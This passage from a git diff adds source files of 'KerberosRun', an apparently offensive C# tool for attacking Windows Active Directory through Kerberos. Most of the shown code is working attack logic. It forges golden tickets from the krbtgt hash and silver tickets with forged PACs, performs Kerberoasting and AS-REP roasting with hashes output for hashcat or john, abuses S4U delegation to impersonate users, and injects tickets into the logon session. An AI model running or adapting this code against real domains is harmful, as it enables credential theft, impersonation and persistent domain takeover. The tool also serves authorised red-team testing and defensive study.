Console.WriteLine("[*] Now you have a Golden Ticket!"); + + + + var kirbiTGT = Kirbi.toKirbi(goldenTicket, krbtgtHash, etype, ptt, verbose); + + Console.WriteLine("[+] Done! Now enjoy your ticket."); + + return goldenTicket; + + + } + + + + + + public static KrbTicket BuildSliver(string srvName, string srvHash, EncryptionType etype, string username, string realm, string service, string domainsid, + bool ptt = false, bool verbose = false) + { + var now = DateTime.UtcNow.AddTicks(-(DateTime.Now.Ticks % TimeSpan.TicksPerSecond)); + + Console.WriteLine("\n[*] Building Sliver Ticket ..."); + + var srvCred = new Utils.KerberosHashCreds(srvName, srvHash, etype); + + var authData = Pac.generatePac(username, domainsid, realm, srvCred.CreateKey(), now); + + + //Arbitrary session key + var sessionKey = KrbEncryptionKey.Generate(EncryptionType.RC4_HMAC_NT); + + KrbEncTicketPart encTicket = new KrbEncTicketPart() + { + AuthTime = now, + StartTime = now, + //Ticket Expiration time (valid for 10 hours) + EndTime = now.AddHours(10), + RenewTill = now.AddDays(7), + CRealm = realm, + CName = new KrbPrincipalName() + { + Type = PrincipalNameType.NT_PRINCIPAL, + Name = new[] { username } + }, + Flags = //TicketFlags.EncryptedPreAuthentication | + TicketFlags.PreAuthenticated | + TicketFlags.Initial | + TicketFlags.Renewable | + TicketFlags.Forwardable, + AuthorizationData = authData, + CAddr = null, + Key = sessionKey, + Transited = new KrbTransitedEncoding(), + + }; + + var encData = KrbEncryptedData.Encrypt( + encTicket.EncodeApplication(), + srvCred.CreateKey(), + KeyUsage.Ticket); + + //encData.KeyVersionNumber = 2; + + string srvHost = null; + if (srvName.Contains("$")) + { + srvHost = srvName.Replace("$", string.Empty) + "." + realm; + } + else + { + srvHost = srvName; + } + var sliverTicket = new KrbTicket() + { + TicketNumber = 5, + Realm = realm, + SName = new KrbPrincipalName + { + Type = PrincipalNameType.NT_SRV_INST, + Name = new[] { service, srvHost } + }, + EncryptedPart = encData, + }; + + + + + if (verbose) + { + var de = sliverTicket.EncryptedPart.Decrypt + (srvCred.CreateKey(), + KeyUsage.Ticket, + b => KrbEncTicketPart.DecodeApplication(b)); + + Console.WriteLine(" * [Decrypted SliverTicket Ticket]:"); + PrintFunc.PrintTicketEnc(de); + } + + + + Console.WriteLine("[*] Now you have a Sliver Ticket!"); + + var kirbiTGT = Kirbi.toKirbi(sliverTicket, srvName, srvHash, etype, service, ptt, verbose); + + + Console.WriteLine("[+] Done! Now enjoy your ticket."); + + return sliverTicket; + + + } + + + + } +} diff --git a/KerberosRun/KerberosRun/Commands.cs b/KerberosRun/KerberosRun/Commands.cs new file mode 100644 index 0000000..4c6c8c8 --- /dev/null +++ b/KerberosRun/KerberosRun/Commands.cs @@ -0,0 +1,299 @@ +using Kerberos.NET.Crypto; +using Kerberos.NET.Entities; +using Kerberos.NET.Transport; +using Microsoft.Extensions.Logging; +using System; +using System.Collections.Generic; +using System.DirectoryServices.ActiveDirectory; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace KerberosRun +{ + class Commands + { + public static string kdc = null; + public static ILoggerFactory logger = null; + public static string username = null; + public static bool isUncontrainedDeleg = false; + public static bool outKirbi = true; + public static string domainname = null; + public static KrbAsRep asRep = null; + public static string hash = string.Empty; + public static EncryptionType etype = EncryptionType.RC4_HMAC_NT; + public static string tgtHash = string.Empty; + public static string tgsHash = string.Empty; + public static EncryptionType dEtype = EncryptionType.AES256_CTS_HMAC_SHA1_96; + + + public static void PTT(string ticket) + { + Console.WriteLine("[*] Importing Ticket..."); + if (Utils.Utils.IsBase64String(ticket)) + { + var kirbiBytes = Convert.FromBase64String(ticket); + PrintFunc.PrintKirbi(ticket); + LSA.ImportTicket(kirbiBytes, new LUID()); + Environment.Exit(0); + } + else if (File.Exists(ticket)) + { + byte[] kirbiBytes = File.ReadAllBytes(ticket); + PrintFunc.PrintKirbi(Convert.ToBase64String(kirbiBytes)); + LSA.ImportTicket(kirbiBytes, new LUID()); + Environment.Exit(0); + } + else + { + Console.WriteLine("\r\n[x]Ticket must either be a .kirbi file or a base64 encoded .kirbi\r\n"); + Environment.Exit(0); + } + } + + public static async Task ResolveCmd(Options options) + { + var transport = new TcpKerberosTransport(logger, kdc); + if (options.User != null) + { + username = options.User.ToLower(); + } + + + + if (options.Ticket != null) + { + PTT(options.Ticket); + } + + if ((options.RC4 ?? options.AES128 ?? options.AES256) != null) + { + hash = options.RC4 ?? options.AES128 ?? options.AES256; + if (options.AES128 != null) + { + etype = EncryptionType.AES128_CTS_HMAC_SHA1_96; + } + else if (options.AES256 != null) + { + etype = EncryptionType.AES256_CTS_HMAC_SHA1_96; + } + } + + if ( options.Golden != options.Sliver) + { + if (options.Domain == null) + { + Console.WriteLine("[x] Please provide the target domain name."); + Environment.Exit(0); + } + //Build Ticket + if (options.Sliver) + { + //var sliverTicket = + BuildTicket.BuildSliver(options.Host, hash, etype, username, options.Domain, options.Service, options.DomainSID, + options.PTT, options.Verbose); + } + else + { + //var goldenTicket = + BuildTicket.BuildGolden(hash, etype, username, options.Domain, options.UserID, options.DomainSID, + options.PTT, options.Verbose); + } + Environment.Exit(0); + } + + + + + //Domain + if (options.Domain != null) + { + try + { + var context = new DirectoryContext(DirectoryContextType.Domain, options.Domain); + domainname = Domain.GetDomain(context).Name; + } + catch (Exception e) { Console.WriteLine(e.Message); Environment.Exit(0); } + } + else + { + try { domainname = Domain.GetCurrentDomain().Name; } + catch (Exception e) { Console.WriteLine("[*] {0}", e.Message); Environment.Exit(0); } + } + + + + if (options.DecryptTGT != null || options.DecryptTGS != null) + { + if (options.DecryptEtype == null) + { + Console.WriteLine("[x] Please provide the encrytion type of the Hash (rc4/aes128/aes256)"); + Console.WriteLine(); + Environment.Exit(0); + } + switch (options.DecryptEtype.Trim().ToLower()) + { + case "rc4": + dEtype = EncryptionType.RC4_HMAC_NT; + break; + case "aes128": + dEtype = EncryptionType.AES128_CTS_HMAC_SHA1_96; + break; + default: + dEtype = EncryptionType.AES256_CTS_HMAC_SHA1_96; + break; + } + if (options.DecryptTGT != null) + { + tgtHash = options.DecryptTGT; + } + else if (options.DecryptTGS != null) + { + if (string.IsNullOrEmpty(options.SrvName)) + { + Console.WriteLine("[x] Please provide the service account name for decrypting TGS."); + Environment.Exit(0); + } + tgsHash = options.DecryptTGS; + } + } + + + if (!string.IsNullOrEmpty(username)) + { + //////////////////////////////////////////////////////////// + //ASREPRoasting + if (options.Asreproast) + { + bool asreproast = true; + if (options.Format.ToLower() == "john" || options.Format.ToLower() == "hashcat") + { + await Ask.askTGT(kdc, logger, transport, username, "whatever", domainname, + outKirbi, options.Verbose, options.Format.ToLower(), asreproast, options.PTT, hash, etype, options.Outfile, + tgtHash, dEtype); + Console.WriteLine("[+] Done! Now enjoy your hash."); + } + else + { + Console.WriteLine("[x] Unknown hash format, Please use hashcat or john"); + } + } + else + { + if (options.Pass == null && options.RC4 == null && options.AES128 == null && options.AES256 == null) + { + Console.WriteLine("[x] Please provide a valid password/hash"); + Environment.Exit(1); + } + else + { + //////////////////////////////////////////////////////////// + //Ask TGT + if (options.AskTGT) + { + await Ask.askTGT(kdc, logger, transport, username, options.Pass, domainname, + outKirbi, options.Verbose, options.Format.ToLower(), false, options.PTT, hash, etype, options.Outfile, + tgtHash, dEtype); + + } + //////////////////////////////////////////////////////////// + //Ask TGS + else if (options.AskTGS) + { + if (options.Spn != null) + { + asRep = await Ask.askTGT(kdc, logger, transport, username, options.Pass, domainname, + outKirbi, options.Verbose, options.Format.ToLower(), false, options.PTT, hash, etype, options.Outfile, + tgtHash, dEtype); + await Ask.askTGS(kdc, logger, transport, asRep, username, options.Pass, domainname, + options.Spn, isUncontrainedDeleg, outKirbi, options.Verbose, false, options.PTT, hash, etype, + options.Outfile, options.SrvName, tgsHash, dEtype); + } + else { Console.WriteLine("[x] Please provide an SPN for the service request."); } + } + //////////////////////////////////////////////////////////// + //Kerberoasting + else if (options.Kerberoast) + { + bool kerberoast = true; + if (options.Spn != null) + { + asRep = await Ask.askTGT(kdc, logger, transport, username, options.Pass, domainname, + outKirbi, options.Verbose, options.Format.ToLower(), false, options.PTT, hash, etype, options.Outfile, + tgtHash, dEtype); + await Ask.askTGS(kdc, logger, transport, asRep, username, options.Pass, domainname, + options.Spn, isUncontrainedDeleg, outKirbi, options.Verbose, kerberoast, options.PTT, hash, etype, + options.Outfile, options.SrvName, tgsHash, dEtype); + Console.WriteLine("[+] Done! Now enjoy your hash."); + } + else { Console.WriteLine("[x] Please provide an SPN for Kerberoasting"); } + } + + + //////////////////////////////////////////////////////////// + //S4U + else if (options.S4U) + { + if (options.Impersonate != null && options.Spn != null) + { + asRep = await Ask.askTGT(kdc, logger, transport, username, options.Pass, domainname, + outKirbi, options.Verbose, options.Format, options.Asreproast, options.PTT, hash, etype, options.Outfile, + tgtHash, dEtype); + + var s4u2self = await S4U.S4U2Self(kdc, logger, transport, asRep, username, options.Pass, domainname, + options.Impersonate, outKirbi, options.Verbose, options.PTT, hash, etype); + + await S4U.S4U2Proxy(kdc, logger, transport, asRep, s4u2self, username, options.Pass, domainname, + options.Impersonate, options.Spn, outKirbi, options.Verbose, options.PTT, hash, etype); + + Console.WriteLine("[+] Done! Now enjoy your ticket for {0}.", options.Spn); + } + else + { + Console.WriteLine("[x] Please provide an SPN and a username to impersonate"); + } + } + + + + //////////////////////////////////////////////////////////// + //S4U2Self + else if (options.S4U2Self) + { + if (options.Impersonate != null) + { + string impersonate = options.Impersonate + "@" + domainname; + asRep = await Ask.askTGT(kdc, logger, transport, username, options.Pass, domainname, + outKirbi, options.Verbose, options.Format, options.Asreproast, options.PTT, hash, etype, options.Outfile, + tgtHash, dEtype); + + await S4U.S4U2Self(kdc, logger, transport, asRep, username, options.Pass, domainname, + impersonate, outKirbi, options.Verbose, options.PTT, hash, etype); + + Console.WriteLine("[+] Done! Now enjoy your ticket."); + } + else + { + Console.WriteLine("[x] Please provide a username to impersonate"); + } + } + } + } + } + + + //var flags = await Ask.askTGS(kdc, logger, transport, asRep, username, password, domainName, spn, isUncontrainedDeleg, outKirbi); + ////IF the target service has Unconstrained Delegation + //if (flags.HasFlag(TicketFlags.OkAsDelegate)) + //{ + // Console.WriteLine("\n[*] Target Server is Trusted For Delegation, asking Forwarded TGT..."); + // await Ask.askTGS(kdc, logger, transport, asRep, username, password, domainName, spn, isUncontrainedDeleg, outKirbi); + //} + } + + + + + } +} diff --git a/KerberosRun/KerberosRun/FodyWeavers.xml b/KerberosRun/KerberosRun/FodyWeavers.xml new file mode 100644 index 0000000..f1dea8f --- /dev/null +++ b/KerberosRun/KerberosRun/FodyWeavers.xml @@ -0,0 +1,3 @@ + + + \ No newline at end of file diff --git a/KerberosRun/KerberosRun/FodyWeavers.xsd b/KerberosRun/KerberosRun/FodyWeavers.xsd new file mode 100644 index 0000000..8ac6e92 --- /dev/null +++ b/KerberosRun/KerberosRun/FodyWeavers.xsd @@ -0,0 +1,111 @@ + + + + + + + + + + + + A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks + + + + + A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. + + + + + A list of unmanaged 32 bit assembly names to include, delimited with line breaks. + + + + + A list of unmanaged 64 bit assembly names to include, delimited with line breaks. + + + + + The order of preloaded assemblies, delimited with line breaks. + + + + + + This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. + + + + + Controls if .pdbs for reference assemblies are also embedded. + + + + + Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. + + + + + As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. + + + + + Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. + + + + + Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. + + + + + A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | + + + + + A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. + + + + + A list of unmanaged 32 bit assembly names to include, delimited with |. + + + + + A list of unmanaged 64 bit assembly names to include, delimited with |. + + + + + The order of preloaded assemblies, delimited with |. + + + + + + + + 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. + + + + + A comma-separated list of error codes that can be safely ignored in assembly verification. + + + + + 'false' to turn off automatic generation of the XML Schema file. + + + + + \ No newline at end of file diff --git a/KerberosRun/KerberosRun/KerberosRun.csproj b/KerberosRun/KerberosRun/KerberosRun.csproj new file mode 100644 index 0000000..82cfc1a --- /dev/null +++ b/KerberosRun/KerberosRun/KerberosRun.csproj @@ -0,0 +1,103 @@ + + + + + Debug + anycpu + {00A1C81F-FAE9-4F80-9F7B-88C16C41DB2A} + Exe + KerberosRun + KerberosRun + v4.7.2 + + + + + true + full + false + bin\Debug + DEBUG; + prompt + 4 + true + + + true + bin\Release + prompt + 4 + true + + + + ..\packages\CommandLineParser.1.9.71\lib\net45\CommandLine.dll + + + ..\packages\Costura.Fody.4.0.0\lib\net40\Costura.dll + + + ..\packages\Kerberos.NET.4.0.0-g\lib\netstandard2.0\Kerberos.NET.dll + + + + ..\packages\Microsoft.Extensions.Logging.Abstractions.3.1.2\lib\netstandard2.0\Microsoft.Extensions.Logging.Abstractions.dll + + + ..\packages\System.Buffers.4.5.0\lib\netstandard2.0\System.Buffers.dll + + + + + ..\packages\System.Numerics.Vectors.4.4.0\lib\net46\System.Numerics.Vectors.dll + + + + ..\packages\System.Runtime.CompilerServices.Unsafe.4.5.2\lib\netstandard2.0\System.Runtime.CompilerServices.Unsafe.dll + + + ..\packages\System.Memory.4.5.3\lib\netstandard2.0\System.Memory.dll + + + ..\packages\System.Security.Cryptography.Pkcs.4.7.0\lib\net461\System.Security.Cryptography.Pkcs.dll + + + + ..\packages\System.Threading.Tasks.Extensions.4.5.2\lib\netstandard2.0\System.Threading.Tasks.Extensions.dll + + + ..\packages\System.IO.Pipelines.4.7.0\lib\netstandard2.0\System.IO.Pipelines.dll + + + + + + + + + + + + + + + + + + + + + + + + + + + + + This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. + + + + + \ No newline at end of file diff --git a/KerberosRun/KerberosRun/Kirbi.cs b/KerberosRun/KerberosRun/Kirbi.cs new file mode 100644 index 0000000..dac4c94 --- /dev/null +++ b/KerberosRun/KerberosRun/Kirbi.cs @@ -0,0 +1,407 @@ +using Kerberos.NET.Crypto; +using Kerberos.NET.Entities; +using System; + + +namespace KerberosRun +{ + class Kirbi + { + //FROM AS_REP + public static byte[] toKirbi(KrbAsRep asRep, KrbEncAsRepPart asDecryptedRepPart, bool ptt = false) + { + + + //https://www.freesoft.org/CIE/RFC/1510/66.htm + + //KrbCredInfo::= SEQUENCE { + // key[0] EncryptionKey, + //prealm[1] Realm OPTIONAL, + //pname[2] PrincipalName OPTIONAL, + //flags[3] TicketFlags OPTIONAL, + //authtime[4] KerberosTime OPTIONAL, + //starttime[5] KerberosTime OPTIONAL, + //endtime[6] KerberosTime OPTIONAL + //renew - till[7] KerberosTime OPTIONAL, + //srealm[8] Realm OPTIONAL, + //sname[9] PrincipalName OPTIONAL, + //caddr[10] HostAddresses OPTIONAL + //} + + var info = new KrbCredInfo() + { + Key = asDecryptedRepPart.Key, + Realm = asDecryptedRepPart.Realm, + PName = asRep.CName, + Flags = asDecryptedRepPart.Flags, + StartTime = asDecryptedRepPart.StartTime, + EndTime = asDecryptedRepPart.EndTime, + RenewTill = asDecryptedRepPart.RenewTill, + SRealm = asDecryptedRepPart.Realm, + SName = asDecryptedRepPart.SName + }; + + + + + //EncKrbCredPart ::= [APPLICATION 29] SEQUENCE { + //ticket-info[0] SEQUENCE OF KrbCredInfo, + //nonce[1] INTEGER OPTIONAL, + //timestamp[2] KerberosTime OPTIONAL, + //usec[3] INTEGER OPTIONAL, + //s-address[4] HostAddress OPTIONAL, + //r-address[5] HostAddress OPTIONAL + //} + + KrbCredInfo[] infos = { info }; + + var encCredPart = new KrbEncKrbCredPart() + { + TicketInfo = infos + + }; + + //KRB-CRED ::= [APPLICATION 22] SEQUENCE { + //pvno[0] INTEGER, + //msg - type[1] INTEGER, --KRB_CRED + //tickets[2] SEQUENCE OF Ticket, + //enc - part[3] EncryptedData + //} + var myCred = new KrbCred(); + myCred.ProtocolVersionNumber = 5; + myCred.MessageType = MessageType.KRB_CRED; + myCred.Tickets = new KrbTicket[] { asRep.Ticket }; + + + //https://github.com/dirkjanm/krbrelayx/blob/master/lib/utils/kerberos.py#L220 + //No Encryption for KRB-CRED + var encryptedData = new KrbEncryptedData() + { + Cipher = encCredPart.EncodeApplication(), + }; + + myCred.EncryptedPart = encryptedData; + + byte[] kirbiBytes = myCred.EncodeApplication().ToArray(); + + + string kirbiString = Convert.ToBase64String(kirbiBytes); + + if (ptt) { LSA.ImportTicket(kirbiBytes, new LUID()); } + + + return kirbiBytes; + } + + + //FROM TGS_REP + public static byte[] toKirbi(KrbTgsRep tgsRep, KrbEncTgsRepPart tgsDecryptedRepPart, bool ptt = false) + { + //KrbCredInfo::= SEQUENCE { + // key[0] EncryptionKey, + //prealm[1] Realm OPTIONAL, + //pname[2] PrincipalName OPTIONAL, + //flags[3] TicketFlags OPTIONAL, + //authtime[4] KerberosTime OPTIONAL, + //starttime[5] KerberosTime OPTIONAL, + //endtime[6] KerberosTime OPTIONAL + //renew - till[7] KerberosTime OPTIONAL, + //srealm[8] Realm OPTIONAL, + //sname[9] PrincipalName OPTIONAL, + //caddr[10] HostAddresses OPTIONAL + //} + + var info = new KrbCredInfo() + { + Key = tgsDecryptedRepPart.Key, + Realm = tgsDecryptedRepPart.Realm, + PName = tgsRep.CName, + Flags = tgsDecryptedRepPart.Flags, + StartTime = tgsDecryptedRepPart.StartTime, + EndTime = tgsDecryptedRepPart.EndTime, + RenewTill = tgsDecryptedRepPart.RenewTill, + SRealm = tgsDecryptedRepPart.Realm, + SName = tgsDecryptedRepPart.SName + }; + + + + + //EncKrbCredPart ::= [APPLICATION 29] SEQUENCE { + //ticket-info[0] SEQUENCE OF KrbCredInfo, + //nonce[1] INTEGER OPTIONAL, + //timestamp[2] KerberosTime OPTIONAL, + //usec[3] INTEGER OPTIONAL, + //s-address[4] HostAddress OPTIONAL, + //r-address[5] HostAddress OPTIONAL + //} + + KrbCredInfo[] infos = { info }; + + var encCredPart = new KrbEncKrbCredPart() + { + TicketInfo = infos + + }; + + //KRB-CRED ::= [APPLICATION 22] SEQUENCE { + //pvno[0] INTEGER, + //msg - type[1] INTEGER, --KRB_CRED + //tickets[2] SEQUENCE OF Ticket, + //enc - part[3] EncryptedData + //} + var myCred = new KrbCred(); + myCred.ProtocolVersionNumber = 5; + myCred.MessageType = MessageType.KRB_CRED; + KrbTicket[] tickets = { tgsRep.Ticket }; + myCred.Tickets = tickets; + + + var encryptedData = new KrbEncryptedData() + { + Cipher = encCredPart.EncodeApplication(), + }; + + myCred.EncryptedPart = encryptedData; + + byte[] kirbiBytes = myCred.EncodeApplication().ToArray(); + + + string kirbiString = Convert.ToBase64String(kirbiBytes); + + if (ptt) { LSA.ImportTicket(kirbiBytes, new LUID()); } + + + return kirbiBytes; + } + + + //FROM TGT + public static byte[] toKirbi(KrbTicket tgt, string hash, EncryptionType etype, bool ptt = false, bool verbose = false) + { + + var kerbCred = new Utils.KerberosHashCreds("krbtgt", hash, etype); + + var ticketDecrypted = tgt.EncryptedPart.Decrypt + (kerbCred.CreateKey(), + KeyUsage.Ticket, + b => KrbEncTicketPart.DecodeApplication(b)); + + + //https://www.freesoft.org/CIE/RFC/1510/66.htm + + //KrbCredInfo::= SEQUENCE { + // key[0] EncryptionKey, + //prealm[1] Realm OPTIONAL, + //pname[2] PrincipalName OPTIONAL, + //flags[3] TicketFlags OPTIONAL, + //authtime[4] KerberosTime OPTIONAL, + //starttime[5] KerberosTime OPTIONAL, + //endtime[6] KerberosTime OPTIONAL + //renew - till[7] KerberosTime OPTIONAL, + //srealm[8] Realm OPTIONAL, + //sname[9] PrincipalName OPTIONAL, + //caddr[10] HostAddresses OPTIONAL + //} + + var info = new KrbCredInfo() + { + Key = ticketDecrypted.Key, + Realm = ticketDecrypted.CRealm, + PName = ticketDecrypted.CName, + Flags = ticketDecrypted.Flags, + StartTime = ticketDecrypted.StartTime, + EndTime = ticketDecrypted.EndTime, + RenewTill = ticketDecrypted.RenewTill, + SRealm = ticketDecrypted.CRealm, + SName = new KrbPrincipalName + { + Type = PrincipalNameType.NT_SRV_INST, + Name = new[] { "krbtgt", ticketDecrypted.CRealm } + } + }; + + + + + //EncKrbCredPart ::= [APPLICATION 29] SEQUENCE { + //ticket-info[0] SEQUENCE OF KrbCredInfo, + //nonce[1] INTEGER OPTIONAL, + //timestamp[2] KerberosTime OPTIONAL, + //usec[3] INTEGER OPTIONAL, + //s-address[4] HostAddress OPTIONAL, + //r-address[5] HostAddress OPTIONAL + //} + + KrbCredInfo[] infos = { info }; + + var encCredPart = new KrbEncKrbCredPart() + { + TicketInfo = infos + + }; + + + //KRB-CRED ::= [APPLICATION 22] SEQUENCE { + //pvno[0] INTEGER, + //msg - type[1] INTEGER, --KRB_CRED + //tickets[2] SEQUENCE OF Ticket, + //enc - part[3] EncryptedData + //} + var myCred = new KrbCred(); + myCred.ProtocolVersionNumber = 5; + myCred.MessageType = MessageType.KRB_CRED; + myCred.Tickets = new KrbTicket[] { tgt }; + + + //https://github.com/dirkjanm/krbrelayx/blob/master/lib/utils/kerberos.py#L220 + //No Encryption for KRB-CRED + var encryptedData = new KrbEncryptedData() + { + Cipher = encCredPart.EncodeApplication() + }; + + myCred.EncryptedPart = encryptedData; + + byte[] kirbiBytes = myCred.EncodeApplication().ToArray(); + + + string kirbiString = Convert.ToBase64String(kirbiBytes); + + if (ptt) { LSA.ImportTicket(kirbiBytes, new LUID()); } + else + { + Console.WriteLine("[+] Golden Ticket Kirbi:"); + Console.WriteLine(" - {0}", kirbiString); + } + if (verbose) + { + Console.WriteLine("[*] Ticket Info:"); + PrintFunc.PrintKirbi(kirbiString); + } + + + return kirbiBytes; + } + + + //FROM TGS + public static byte[] toKirbi(KrbTicket tgs, string srvName, string srvHash, EncryptionType etype, string service, bool ptt = false, bool verbose = false) + { + + var kerbCred = new Utils.KerberosHashCreds(srvName, srvHash, etype); + + var ticketDecrypted = tgs.EncryptedPart.Decrypt + (kerbCred.CreateKey(), + KeyUsage.Ticket, + b => KrbEncTicketPart.DecodeApplication(b)); + + + //KrbCredInfo::= SEQUENCE { + // key[0] EncryptionKey, + //prealm[1] Realm OPTIONAL, + //pname[2] PrincipalName OPTIONAL, + //flags[3] TicketFlags OPTIONAL, + //authtime[4] KerberosTime OPTIONAL, + //starttime[5] KerberosTime OPTIONAL, + //endtime[6] KerberosTime OPTIONAL + //renew - till[7] KerberosTime OPTIONAL, + //srealm[8] Realm OPTIONAL, + //sname[9] PrincipalName OPTIONAL, + //caddr[10] HostAddresses OPTIONAL + //} + + string srvHost = null; + if (srvName.Contains("$")) + { + srvHost = srvName.Replace("$", string.Empty) + "." + ticketDecrypted.CRealm; + } + else + { + srvHost = srvName; + } + + var info = new KrbCredInfo() + { + Key = ticketDecrypted.Key, + Realm = ticketDecrypted.CRealm, + PName = ticketDecrypted.CName, + Flags = ticketDecrypted.Flags, + StartTime = ticketDecrypted.StartTime, + EndTime = ticketDecrypted.EndTime, + RenewTill = ticketDecrypted.RenewTill, + SRealm = ticketDecrypted.CRealm, + SName = new KrbPrincipalName() + { + Type = PrincipalNameType.NT_SRV_INST, + Name = new[] { service, srvHost } + } + }; + + + + + //EncKrbCredPart ::= [APPLICATION 29] SEQUENCE { + //ticket-info[0] SEQUENCE OF KrbCredInfo, + //nonce[1] INTEGER OPTIONAL, + //timestamp[2] KerberosTime OPTIONAL, + //usec[3] INTEGER OPTIONAL, + //s-address[4] HostAddress OPTIONAL, + //r-address[5] HostAddress OPTIONAL + //} + + KrbCredInfo[] infos = { info }; + + var encCredPart = new KrbEncKrbCredPart() + { + TicketInfo = infos + + }; + + //KRB-CRED ::= [APPLICATION 22] SEQUENCE { + //pvno[0] INTEGER, + //msg - type[1] INTEGER, --KRB_CRED + //tickets[2] SEQUENCE OF Ticket, + //enc - part[3] EncryptedData + //} + var myCred = new KrbCred(); + myCred.ProtocolVersionNumber = 5; + myCred.MessageType = MessageType.KRB_CRED; + KrbTicket[] tickets = { tgs }; + myCred.Tickets = tickets; + + + //https://github.com/dirkjanm/krbrelayx/blob/master/lib/utils/kerberos.py#L220 + //No Encryption for KRB-CRED + var encryptedData = new KrbEncryptedData() + { + Cipher = encCredPart.EncodeApplication() + }; + + myCred.EncryptedPart = encryptedData; + + byte[] kirbiBytes = myCred.EncodeApplication().ToArray(); + + + string kirbiString = Convert.ToBase64String(kirbiBytes); + + if (ptt) { LSA.ImportTicket(kirbiBytes, new LUID());} + else + { + Console.WriteLine("[+] SliverTicket Ticket Kirbi:"); + Console.WriteLine(" - {0}", kirbiString); + } + if (verbose) + { + Console.WriteLine("[*] Ticket Info:"); + PrintFunc.PrintKirbi(kirbiString); + } + + + return kirbiBytes; + } + + + + } +} diff --git a/KerberosRun/KerberosRun/KrbConstants.cs b/KerberosRun/KerberosRun/KrbConstants.cs new file mode 100644 index 0000000..6795eef --- /dev/null +++ b/KerberosRun/KerberosRun/KrbConstants.cs @@ -0,0 +1,102 @@ +using System; +using Kerberos.NET.Crypto; +using System.Threading; +using System.Collections.Generic; +using System.Text; +using System.Runtime.CompilerServices; + +namespace KerberosRun +{ + class KrbConstants + { + internal static class KerberosConstants + { + private static readonly int Pid = System.Diagnostics.Process.GetCurrentProcess().Id; + + private static long RequestCounter = 0; + + private static long NonceCounter = DateTimeOffset.UtcNow.Ticks / 1_000_000_000L; + + public static readonly DateTimeOffset EndOfTime = new DateTimeOffset(642720196850000000, TimeSpan.Zero); + + public static IEnumerable ETypes = new[] { + EncryptionType.AES256_CTS_HMAC_SHA1_96, + EncryptionType.AES128_CTS_HMAC_SHA1_96, + EncryptionType.RC4_HMAC_NT, + EncryptionType.RC4_HMAC_NT_EXP, + EncryptionType.RC4_HMAC_OLD_EXP + }; + + internal static Guid GetRequestActivityId() + { + var counter = Interlocked.Increment(ref RequestCounter); + + var b = BitConverter.GetBytes(counter); + + return new Guid(Pid, 0, 0, b[7], b[6], b[5], b[4], b[3], b[2], b[1], b[0]); + } + + internal static int GetNonce() + { + // .NET Runtime guarantees operations on variables up to the natural + // processor pointer size are intrinsically atomic, but there's no + // guarantee we'll be running in a 64 bit process on a 64 bit processor + // so maybe let's not give the system an opportunity to corrupt this + + var counter = Interlocked.Increment(ref NonceCounter); + + return (int)counter; + } + + public static bool WithinSkew(DateTimeOffset now, DateTimeOffset ctime, int usec, TimeSpan skew) + { + ctime = ctime.AddTicks(usec / 10); + + var skewed = TimeSpan.FromMilliseconds(Math.Abs((now - ctime).TotalMilliseconds)); + + return skewed <= skew; + } + + private const int TickUSec = 1000000; + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool TimeEquals(DateTimeOffset left, DateTimeOffset right) + { + var leftUsec = left.Ticks % TickUSec; + var rightUsec = right.Ticks % TickUSec; + + return leftUsec == rightUsec; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static void Now(out DateTimeOffset time, out int usec) + { + var nowTicks = DateTimeOffset.UtcNow.Ticks; + + usec = (int)nowTicks % TickUSec; + + time = new DateTimeOffset(nowTicks - usec, TimeSpan.Zero); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static void Now(out DateTimeOffset time, out int? usec) + { + Now(out time, out int usecExplicit); + + usec = usecExplicit; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static ReadOnlyMemory UnicodeBytesToUtf8(byte[] str) + { + return Encoding.Convert(Encoding.Unicode, Encoding.UTF8, str, 0, str.Length); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static ReadOnlyMemory UnicodeStringToUtf8(string str) + { + return UnicodeBytesToUtf8(Encoding.Unicode.GetBytes(str)); + } + } + } +} diff --git a/KerberosRun/KerberosRun/Options.cs b/KerberosRun/KerberosRun/Options.cs new file mode 100644 index 0000000..7138031 --- /dev/null +++ b/KerberosRun/KerberosRun/Options.cs @@ -0,0 +1,188 @@ +using CommandLine; + +namespace KerberosRun +{ + public class Options + { + + /// + /// Commands + /// + [Option("Kerberoast", DefaultValue = false, HelpText = "Perform Kerberoasting...")] + public bool Kerberoast { get; set; } + + [Option("Asreproast", DefaultValue = false, HelpText = "Perform Asreproasting...")] + public bool Asreproast { get; set; } + + [Option("AskTGT", DefaultValue = false, HelpText = "Ask for a TGT...")] + public bool AskTGT { get; set; } + + [Option("AskTGS", DefaultValue = false, HelpText = "Ask for a TGS...")] + public bool AskTGS { get; set; } + + [Option("S4U", DefaultValue = false, HelpText = "Perform S4U...")] + public bool S4U { get; set; } + + [Option("S4U2Self", DefaultValue = false, HelpText = "Perform S4U2Self...")] + public bool S4U2Self { get; set; } + + [Option("Sliver", DefaultValue = false, HelpText = "Build Sliver Ticket...")] + public bool Sliver { get; set; } + + [Option("Golden", DefaultValue = false, HelpText = "Build Golden Ticket...")] + public bool Golden { get; set; } + + //[Option("S4U2Proxy", DefaultValue = false, HelpText = "Perform S4U2Proxy...")] + //public bool S4U2Proxy { get; set; } + + [Option("Ticket", DefaultValue = null, HelpText = "Pass base64 encoded kirbi ticket...")] + public string Ticket { get; set; } + + + + + + /// + /// Parameters + /// + [Option("Domain", DefaultValue = null, HelpText = "Domain Name")] + public string Domain { get; set; } + + [Option("User", DefaultValue = null, HelpText = "Username")] + public string User { get; set; } + + [Option("Impersonateuser", DefaultValue 